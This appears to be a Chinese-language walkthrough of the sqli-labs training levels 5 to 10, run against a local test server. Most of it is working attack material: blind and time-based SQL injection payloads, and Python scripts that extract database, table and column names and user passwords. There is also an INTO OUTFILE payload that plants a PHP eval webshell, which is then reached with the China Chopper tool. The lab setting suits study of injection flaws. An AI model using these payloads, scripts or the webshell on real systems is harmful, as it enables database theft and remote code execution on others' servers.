LESS-5 不用注释的查询
注:这节的跟第一关是一样的,输入?id=1,但是返回结果只有:you are in … 正确的思路是盲注。
查看源代码不会返回数据库当中的信息了,所以我们不能利用less1-4 的方法
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//此处省略部分代码
if($row)
{
echo '<font size="5" color="#FFFF00">';
echo 'You are in...........';
echo "<br>";
echo "</font>";
}
else
{
echo '<font size="3" color="#FFFF00">';
print_r(mysql_error());
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
输入?id=1’and left(version(),1)=5–+,这里的–+是 - +,因为CSDN显示问题。
上面sql语句的意思是查看一下数据库的版本,看版本号的第一位是不是 5,明显的返回的结果是正确的。我的数据库版本号为 5.6.26
当版本号不正确的时候,则不能正确显示 you are in…
接下来看一下数据库的长度
?id=1’and length(database())=X–+
X的值为8时,返回正确结果,说明长度为 8。
猜测数据库第一位
?id=1’and left(database(),1)>‘m’–+
根据折半查找,我们知道数据库的首字母为s,这里的工作量太大,我写了一个python脚本完成,用的时间盲注原理
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+".format(database,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
成果获取数据库的名字security,也可以获取其他数据库名字,具体改limit的值。
可获取的数据库是information_schema,challenges,mysql,performance_schema,security,sys
根据一开始获得的数据库首字母为s,那么当前数据库为security,那么表的名字也可以获取
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
table='select table_name from information_schema.tables where table_schema=database() '
result=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(table,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
可以获得到email,refers,uagent,users四个表,也可以用下面的句子慢慢测试,当然还是代码快
?id=1 'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0
0,1),1,1))>101–+
列自然也是相同的方法
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
column='select column_name from information_schema.columns where table_name="users"'
result=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 3,1),{},1))={},sleep(2),1)--+".format(column,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
可以查到的列为USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
查id为1的数据
import requests
import time
url="http://127.0.0.1/sqli/Less-5/?id=1"
data="select username from security.users where id=1 "
data2="select password from security.users where id=1 "
result=""
result2=""
for i in range(1,100):
for j in range(1,200):
payload="'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data,i,j)
payload2 = "'and if(ascii(substr(({} limit 0,1),{},1))={},sleep(2),1)--+".format(data2, i, j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
result2 += chr(j)
print(result)
print(result2)
break
通过改id我们可以查到所有数据
完成
LESS-6 双注入- 双引号-字符型
Less6 与 less5 的区别在于 less6 在 id 参数传到服务器时,对 id 参数进行了处理。这里可以从
源代码中可以看到。只需要将 ‘ 替换成 “ 。
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
还是利用上面的代码,稍微在sql注入语句改个符号
import requests
import time
url="http://127.0.0.1/sqli/Less-6/?id=1"
database = 'select schema_name from information_schema.schemata'
result=""
for i in range(1,100):
for j in range(1,200):
payload='"and if(ascii(substr(({} limit 4,1),{},1))={},sleep(2),1)--+'.format(database,i,j)
stime = time.time()
r = requests.get(url+payload)
etime=time.time()
if etime-stime >= 2:
result += chr(j)
print(result)
break
具体步骤和less5差不多
LESS-7 文件导入的方式进行注入
MySQL注入load_file常用路径可以参考博客:www.cnblogs.com/lcamry/p/5729087.html
调查源代码
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
看到这个,在前面的1到6关的训练下,已经老生常谈了?id=1’)) or 1=1–+(注:这里是- - +)
可以看到显示这样的界面,这个时候要使用into outfile(),在此之前,需要检查权限
SHOW GLOBAL VARIABLES LIKE ‘%secure%’
secure_file_priv要为空白才可以,为null是不允许上传下载。修改方法为在my.ini中的[mysqld]改或写secure_file_priv= 。然后重启mysql服务。
?id=-1’))union select 1,2,3 into outfile “c:\文件目录/Less-7/a.txt”–+
实验一下能不能写入一个txt文件,我这里是可以的。
没问题的话进行下一步,导入一句话木马
?id=1’))union select 1,2,’<?php @eval($_POST[“password”])?>’ into outfile “c:\文件目录/Less-7/password.php”–+
注意这里的post需要大写,如果没大写,菜刀可能报403的错
之后使用中国菜刀连接,输入网址和密码(password),就可以进去了
LESS-8 基于布尔-单引号-盲注
根据测试’and 1=1–+没有报错,可以知道怎么继续了,感觉和第五关差不多,具体区别在代码,可以看到在判断错误进行注释,用不了报错注入
if($row)
{
......
}
else
{
echo '<font size="5" color="#FFFF00">';
//echo 'You are in...........';
//print_r(mysql_error());
//echo "You have an error in your SQL syntax";
echo "</br></font>";
echo '<font color= "#0000ff" font size= 3>';
这里可以参考第5关的代码,一模一样的套用没有一点问题。
LESS-9 基于 时间-单引号- 盲注
经过测试我们可以发现,无论加入任何语句,它的返回都是一样的:You are in…
查看源代码
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
这里可以套用我第五关的脚本,因为在第五关就是用时间盲注。
LESS-10 基于 时间-双引号- 盲注
套用第六关的脚本,或者将第五关的单引号改为双引号,基本上无差别